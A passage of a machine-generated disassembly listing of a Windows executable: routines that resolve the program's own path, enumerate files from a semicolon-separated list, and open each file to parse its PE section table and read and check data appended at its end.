		add	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_493D17
; ---------------------------------------------------------------------------

locret_493D46:				; CODE XREF: _4:00493D24j
		leave
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493D50	proc near		; CODE XREF: sub_49A31F+1Ap
					; sub_49AA34+11p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	eax, ds:dword_4A28F0
		mov	[ebp+var_4], eax
		mov	ecx, ds:dword_4A28F4
		imul	ecx, 18h
		mov	edx, ds:dword_4A28F0
		add	edx, ecx
		mov	[ebp+var_8], edx
		jmp	short loc_493D7F
; ---------------------------------------------------------------------------

loc_493D76:				; CODE XREF: sub_493D50:loc_493DB7j
		mov	eax, [ebp+var_4]
		add	eax, 18h
		mov	[ebp+var_4], eax

loc_493D7F:				; CODE XREF: sub_493D50+24j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_8]
		jz	short loc_493DB9
		mov	ecx, 10h
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_4]
		xor	edx, edx
		mov	[ebp+var_C], edx
		repe cmpsb
		jz	short loc_493DA3
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax

loc_493DA3:				; CODE XREF: sub_493D50+49j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_10], 0
		jnz	short loc_493DB7
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		jmp	short loc_493DBB
; ---------------------------------------------------------------------------

loc_493DB7:				; CODE XREF: sub_493D50+5Dj
		jmp	short loc_493D76
; ---------------------------------------------------------------------------

loc_493DB9:				; CODE XREF: sub_493D50+35j
		xor	eax, eax

loc_493DBB:				; CODE XREF: sub_493D50+65j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_493D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493DD0	proc near		; CODE XREF: sub_495DC0+Dp

var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_170		= byte ptr -170h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004945F3 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F408
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset dword_4A28C8
		call	ds:dword_4A274C	; InitializeCriticalSection
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		call	sub_48EE50
		and	eax, 0FFh
		mov	ds:dword_4A1B68, eax
		push	400h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1AC], eax
		mov	eax, [ebp+var_1AC]
		mov	[ebp+var_1C], eax
		push	0C1Ch
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1B0], eax
		mov	ecx, [ebp+var_1B0]
		mov	[ebp+var_20], ecx
		mov	ecx, 307h
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	400h
		mov	edx, [ebp+var_20]
		add	edx, 10h
		push	edx
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		push	eax
		call	ds:dword_4A2714	; GetModuleFileNameA
		mov	eax, [ebp+var_20]
		add	eax, 0C10h
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		push	400h
		mov	edx, [ebp+var_20]
		add	edx, 10h
		push	edx
		call	ds:dword_4A2708	; GetFullPathNameA
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		push	offset aKernel32_0 ; "kernel32"
		call	ds:dword_4A2718	; GetModuleHandleA
		push	eax
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_493EE2
		push	400h
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	[ebp+var_2C]
		jmp	short loc_493F08
; ---------------------------------------------------------------------------

loc_493EE2:				; CODE XREF: sub_493DD0+FBj
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_20]
		add	edx, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb

loc_493F08:				; CODE XREF: sub_493DD0+110j
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	ds:dword_4A27C8	; CharUpperBuffA
		push	5Ch
		mov	edx, [ebp+var_20]
		add	edx, 10h
		push	edx
		call	sub_48D700
		add	esp, 8
		add	eax, 1
		mov	ecx, [ebp+var_20]
		mov	[ecx+0C10h], eax
		mov	edx, [ebp+var_20]
		add	edx, 10h
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+0C10h]
		sub	ecx, edx
		mov	edx, [ebp+var_20]
		mov	[edx+0C14h], ecx
		push	400h
		mov	eax, [ebp+var_20]
		add	eax, 410h
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	ds:dword_49F020	; GetShortPathNameA
		mov	edi, [ebp+var_20]
		add	edi, 410h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	edx, [ebp+var_20]
		add	edx, 410h
		push	edx
		call	ds:dword_4A27C8	; CharUpperBuffA
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 410h
		push	eax
		call	sub_48D700
		add	esp, 8
		add	eax, 1
		mov	ecx, [ebp+var_20]
		add	ecx, 410h
		sub	eax, ecx
		mov	edx, [ebp+var_20]
		mov	[edx+0C18h], eax
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_30], ecx
		mov	eax, [ebp+var_30]
		add	eax, 1
		push	eax
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1B4], eax
		mov	ecx, [ebp+var_1B4]
		mov	ds:dword_4A290C, ecx
		mov	edx, [ebp+var_20]
		add	edx, 10h
		mov	edi, edx
		mov	edx, ds:dword_4A290C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ds:dword_4A2684
		mov	edx, [ecx+24h]
		and	edx, 2
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_28], dl
		mov	eax, [ebp+var_28]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_494101
		mov	ecx, ds:dword_4A2684
		mov	edx, [ecx+2Ch]
		add	edx, 30h
		mov	[ebp+var_3C], edx
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_38], ecx
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	sub_48D700
		add	esp, 8
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_4940A4
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	edx, [ebp+var_20]
		lea	eax, [edx+ecx+10h]
		mov	[ebp+var_34], eax

loc_4940A4:				; CODE XREF: sub_493DD0+2B6j
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		mov	edx, [ebp+var_34]
		sub	edx, ecx
		add	edx, [ebp+var_38]
		cmp	edx, 104h
		jb	short loc_4940C4
		mov	ecx, 0EF000004h
		call	sub_499342

loc_4940C4:				; CODE XREF: sub_493DD0+2E8j
		mov	ecx, [ebp+var_38]
		add	ecx, 1
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+var_34]
		add	edi, 1
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	ds:dword_4A27C8	; CharUpperBuffA

loc_494101:				; CODE XREF: sub_493DD0+277j
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_20]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_20]
		mov	ds:dword_4A2908, ecx
		mov	edx, ds:dword_4A2684
		mov	eax, [edx+24h]
		and	eax, 1
		test	eax, eax
		jz	short loc_494140
		push	1
		push	1
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	sub_494610
		add	esp, 0Ch

loc_494140:				; CODE XREF: sub_493DD0+35Bj
		push	105h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1B8], eax
		mov	edx, [ebp+var_1B8]
		mov	[ebp+var_44], edx
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	sub_48D700
		add	esp, 8
		add	eax, 1
		mov	[ebp+var_50], eax
		mov	[ebp+var_48], 0
		mov	ecx, ds:dword_4A2684
		mov	edx, [ecx+2Ch]
		add	edx, 71h
		mov	[ebp+var_4C], edx
		mov	edi, [ebp+var_4C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	eax, [ebp+var_4C]
		add	eax, ecx
		mov	[ebp+var_40], eax
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_40]
		jz	loc_4943DB
		mov	[ebp+var_48], 1
		mov	edx, [ebp+var_4C]
		mov	[ebp+var_1A0], edx
		jmp	short loc_4941CD
; ---------------------------------------------------------------------------

loc_4941BE:				; CODE XREF: sub_493DD0:loc_4941F8j
		mov	eax, [ebp+var_1A0]
		add	eax, 1
		mov	[ebp+var_1A0], eax

loc_4941CD:				; CODE XREF: sub_493DD0+3ECj
		mov	ecx, [ebp+var_1A0]
		cmp	ecx, [ebp+var_40]
		jz	short loc_4941FA
		mov	edx, [ebp+var_1A0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Bh
		jnz	short loc_4941F8
		mov	ecx, [ebp+var_1A0]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+var_48]
		add	edx, 1
		mov	[ebp+var_48], edx

loc_4941F8:				; CODE XREF: sub_493DD0+414j
		jmp	short loc_4941BE
; ---------------------------------------------------------------------------

loc_4941FA:				; CODE XREF: sub_493DD0+406j
		mov	eax, [ebp+var_20]
		add	eax, 810h
		mov	edi, eax
		mov	edx, [ebp+var_44]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_54]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		push	104h
		mov	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4A2708	; GetFullPathNameA
		mov	edi, [ebp+var_44]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_44]
		push	ecx
		call	ds:dword_4A27C8	; CharUpperBuffA
		mov	edx, [ebp+var_4C]
		mov	[ebp+var_58], edx
		mov	[ebp+var_5C], 0
		jmp	short loc_49426D
; ---------------------------------------------------------------------------

loc_494264:				; CODE XREF: sub_493DD0+606j
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax

loc_49426D:				; CODE XREF: sub_493DD0+492j
		mov	ecx, [ebp+var_5C]
		cmp	ecx, [ebp+var_48]
		jnb	loc_4943DB
		mov	edi, [ebp+var_58]
		mov	edx, [ebp+var_54]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_19C]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		call	ds:dword_4A26D0	; FindFirstFileA
		mov	[ebp+var_1A4], eax
		cmp	[ebp+var_1A4], 0FFFFFFFFh
		jz	loc_4943B8

loc_4942C0:				; CODE XREF: sub_493DD0+5D5j
		mov	eax, [ebp+var_19C]
		and	eax, 10h
		test	eax, eax
		jnz	loc_49438F
		mov	ecx, [ebp+var_50]
		push	ecx
		lea	edx, [ebp+var_170]
		push	edx
		call	ds:dword_4A27C0	; lstrcmpi
		test	eax, eax
		jz	loc_49438F
		lea	edi, [ebp+var_170]
		mov	edx, [ebp+var_54]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_54]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_54]
		push	ecx
		call	ds:dword_4A27C8	; CharUpperBuffA
		mov	[ebp+var_1A8], 0
		mov	[ebp+var_4], 1
		push	0
		push	1
		mov	edx, [ebp+var_44]
		push	edx
		call	sub_494610
		add	esp, 0Ch
		mov	[ebp+var_4], 0
		jmp	short loc_49438F
; ---------------------------------------------------------------------------

loc_494354:				; DATA XREF: _5:0049F418o
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	edx, [ecx]
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1E8]
		mov	[ebp+var_1A8], eax
		mov	ecx, [ebp+var_1A8]
		and	ecx, 0EF000000h
		xor	eax, eax
		cmp	ecx, 0EF000000h
		setz	al
		retn
; ---------------------------------------------------------------------------

loc_494385:				; DATA XREF: _5:0049F41Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0

loc_49438F:				; CODE XREF: sub_493DD0+4FBj
					; sub_493DD0+514j ...
		lea	edx, [ebp+var_19C]
		push	edx
		mov	eax, [ebp+var_1A4]
		push	eax
		call	ds:dword_4A26D4	; FindNextFileA
		test	eax, eax
		jnz	loc_4942C0
		mov	ecx, [ebp+var_1A4]
		push	ecx
		call	ds:dword_4A26CC	; FindClose

loc_4943B8:				; CODE XREF: sub_493DD0+4EAj
					; sub_493DD0+5FBj
		mov	edx, [ebp+var_58]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4943CD
		mov	ecx, [ebp+var_58]
		add	ecx, 1
		mov	[ebp+var_58], ecx
		jmp	short loc_4943B8
; ---------------------------------------------------------------------------

loc_4943CD:				; CODE XREF: sub_493DD0+5F0j
		mov	edx, [ebp+var_58]
		add	edx, 1
		mov	[ebp+var_58], edx
		jmp	loc_494264
; ---------------------------------------------------------------------------

loc_4943DB:				; CODE XREF: sub_493DD0+3D6j
					; sub_493DD0+4A3j
		mov	eax, [ebp+var_44]
		mov	[ebp+var_1BC], eax
		mov	ecx, [ebp+var_1BC]
		push	ecx
		call	sub_4993DD
		add	esp, 4
		call	sub_495490
		push	10040h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1C0], eax
		mov	edx, [ebp+var_1C0]
		mov	ds:dword_4A28F8, edx
		push	10000h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1C4], eax
		mov	eax, [ebp+var_1C4]
		mov	ds:dword_4A28FC, eax
		push	10000h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1C8], eax
		mov	ecx, [ebp+var_1C8]
		mov	ds:dword_4A2900, ecx
		push	10000h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1CC], eax
		mov	edx, [ebp+var_1CC]
		mov	ds:dword_4A2904, edx
		push	28h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1D0], eax
		cmp	[ebp+var_1D0], 0
		jz	short loc_4944A4
		push	83h
		mov	ecx, [ebp+var_1D0]
		call	sub_49C77C
		mov	[ebp+var_1EC], eax
		jmp	short loc_4944AE
; ---------------------------------------------------------------------------

loc_4944A4:				; CODE XREF: sub_493DD0+6BAj
		mov	[ebp+var_1EC], 0

loc_4944AE:				; CODE XREF: sub_493DD0+6D2j
		mov	eax, [ebp+var_1EC]
		mov	ds:dword_4A28E4, eax
		push	28h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1D4], eax
		cmp	[ebp+var_1D4], 0
		jz	short loc_4944EA
		push	83h
		mov	ecx, [ebp+var_1D4]
		call	sub_49C77C
		mov	[ebp+var_1F0], eax
		jmp	short loc_4944F4
; ---------------------------------------------------------------------------

loc_4944EA:				; CODE XREF: sub_493DD0+700j
		mov	[ebp+var_1F0], 0

loc_4944F4:				; CODE XREF: sub_493DD0+718j
		mov	ecx, [ebp+var_1F0]
		mov	ds:dword_4A28E8, ecx
		push	28h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0
		jz	short loc_494531
		push	83h
		mov	ecx, [ebp+var_1D8]
		call	sub_49C77C
		mov	[ebp+var_1F4], eax
		jmp	short loc_49453B
; ---------------------------------------------------------------------------

loc_494531:				; CODE XREF: sub_493DD0+747j
		mov	[ebp+var_1F4], 0

loc_49453B:				; CODE XREF: sub_493DD0+75Fj
		mov	edx, [ebp+var_1F4]
		mov	ds:dword_4A28E0, edx
		push	28h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_1DC], eax
		cmp	[ebp+var_1DC], 0
		jz	short loc_494578
		push	83h
		mov	ecx, [ebp+var_1DC]
		call	sub_49C77C
		mov	[ebp+var_1F8], eax
		jmp	short loc_494582
; ---------------------------------------------------------------------------

loc_494578:				; CODE XREF: sub_493DD0+78Ej
		mov	[ebp+var_1F8], 0

loc_494582:				; CODE XREF: sub_493DD0+7A6j
		mov	eax, [ebp+var_1F8]
		mov	ds:dword_4A28EC, eax
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4945A2
		jmp	short loc_4945F3
sub_493DD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4945A2	proc near		; CODE XREF: sub_493DD0+7CBp
					; DATA XREF: _5:0049F410o
		mov	ecx, [ebp-1Ch]
		mov	[ebp-1E0h], ecx
		mov	edx, [ebp-1E0h]
		push	edx
		call	sub_4993DD
		add	esp, 4
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_4945E2
		mov	ds:dword_4A2908, 0
		mov	eax, [ebp-20h]
		mov	[ebp-1E4h], eax
		mov	ecx, [ebp-1E4h]
		push	ecx
		call	sub_4993DD
		add	esp, 4

loc_4945E2:				; CODE XREF: sub_4945A2+1Cj
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short locret_4945F2
		mov	edx, [ebp-24h]
		push	edx
		call	ds:dword_4A26A4	; CloseHandle

locret_4945F2:				; CODE XREF: sub_4945A2+44j
		retn
sub_4945A2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_493DD0

loc_4945F3:				; CODE XREF: sub_493DD0+7D0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_493DD0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494610	proc near		; CODE XREF: sub_493DD0+368p
					; sub_493DD0+573p

var_308		= dword	ptr -308h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_C4		= byte ptr -0C4h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_A0		= byte ptr -0A0h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F420
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFCE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_28], 0FFFFFFFFh
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4A26A8	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_494690
		mov	ecx, 0EF000005h
		call	sub_499342

loc_494690:				; CODE XREF: sub_494610+74j
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4A2700	; GetFileSize
		mov	[ebp+var_54], eax
		mov	[ebp+var_78], 0
		mov	edx, [ebp+arg_8]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_49492F
		mov	eax, ds:dword_4A2684
		mov	ecx, [eax+24h]
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_49492F
		mov	edx, ds:dword_4A2684
		mov	eax, [edx+4]
		mov	[ebp+var_88], eax
		mov	ecx, [ebp+var_88]
		mov	edx, [ebp+var_88]
		add	edx, [ecx+3Ch]
		mov	ds:dword_4A2910, edx
		mov	eax, ds:dword_4A2910
		cmp	dword ptr [eax], 4550h
		jz	short loc_494705
		mov	ecx, 0EF000002h
		call	sub_499342

loc_494705:				; CODE XREF: sub_494610+E9j
		mov	ecx, ds:dword_4A2910
		xor	edx, edx
		mov	dx, [ecx+14h]
		mov	eax, ds:dword_4A2910
		lea	ecx, [eax+edx+18h]
		mov	[ebp+var_84], ecx
		mov	edx, ds:dword_4A2910
		add	edx, 98h
		mov	[ebp+var_7C], edx
		mov	[ebp+var_8C], 0
		mov	eax, ds:dword_4A2910
		xor	ecx, ecx
		mov	cx, [eax+6]
		mov	[ebp+var_80], ecx
		jmp	short loc_494752
; ---------------------------------------------------------------------------

loc_494749:				; CODE XREF: sub_494610:loc_494782j
		mov	edx, [ebp+var_80]
		sub	edx, 1
		mov	[ebp+var_80], edx

loc_494752:				; CODE XREF: sub_494610+137j
		cmp	[ebp+var_80], 0
		jl	loc_494893
		mov	eax, [ebp+var_80]
		imul	eax, 28h
		mov	ecx, [ebp+var_84]
		cmp	dword ptr [ecx+eax+10h], 0
		jz	short loc_494782
		mov	edx, [ebp+var_80]
		imul	edx, 28h
		mov	eax, [ebp+var_84]
		cmp	dword ptr [eax+edx+14h], 0
		jnz	short loc_494784

loc_494782:				; CODE XREF: sub_494610+15Dj
		jmp	short loc_494749
; ---------------------------------------------------------------------------

loc_494784:				; CODE XREF: sub_494610+170j
		mov	ecx, [ebp+var_80]
		imul	ecx, 28h
		mov	edx, [ebp+var_80]
		imul	edx, 28h
		mov	eax, [ebp+var_84]
		mov	edx, [eax+edx+10h]
		mov	eax, ds:dword_4A2910
		mov	eax, [eax+3Ch]
		lea	edx, [edx+eax-1]
		mov	eax, ds:dword_4A2910
		mov	eax, [eax+3Ch]
		sub	eax, 1
		not	eax
		and	edx, eax
		mov	eax, [ebp+var_84]
		mov	ecx, [eax+ecx+14h]
		add	ecx, edx
		mov	[ebp+var_8C], ecx
		push	0
		push	0
		mov	edx, [ebp+var_8C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_B4], eax
		push	0
		lea	ecx, [ebp+var_90]
		push	ecx
		push	20h
		lea	edx, [ebp+var_B0]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	loc_494893
		cmp	[ebp+var_90], 20h
		jnz	loc_494893
		lea	ecx, [ebp+var_130]
		call	sub_498798
		push	10h
		lea	ecx, [ebp+var_B0]
		push	ecx
		lea	ecx, [ebp+var_130]
		call	sub_4987A4
		lea	edx, [ebp+var_C4]
		push	edx
		lea	ecx, [ebp+var_130]
		call	sub_49885D
		mov	ecx, 4
		lea	edi, [ebp+var_A0]
		lea	esi, [ebp+var_C4]
		xor	eax, eax
		repe cmpsd
		jnz	short loc_494893
		mov	ecx, [ebp+var_8C]
		add	ecx, [ebp+var_B0]
		mov	[ebp+var_78], ecx
		push	2
		push	0
		push	0
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_134], eax
		mov	eax, [ebp+var_134]
		sub	eax, [ebp+var_78]
		neg	eax
		mov	[ebp+var_78], eax
		jmp	loc_49492F
; ---------------------------------------------------------------------------

loc_494893:				; CODE XREF: sub_494610+146j
					; sub_494610+1F0j ...
		mov	ecx, [ebp+var_7C]
		cmp	dword ptr [ecx], 0
		jz	loc_49492F
		mov	edx, [ebp+var_7C]
		cmp	dword ptr [edx+4], 0
		jz	loc_49492F
		mov	eax, [ebp+var_7C]
		mov	ecx, [ebp+var_54]
		sub	ecx, [eax]
		neg	ecx
		mov	[ebp+var_78], ecx
		mov	edx, [ebp+var_7C]
		mov	eax, [edx]
		mov	[ebp+var_54], eax
		mov	[ebp+var_138], 0

loc_4948CB:				; CODE XREF: sub_494610+31Dj
		push	2
		push	0
		mov	ecx, [ebp+var_78]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_140], eax
		push	0
		lea	eax, [ebp+var_13C]
		push	eax
		push	1
		lea	ecx, [ebp+var_138]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4A277C	; ReadFile
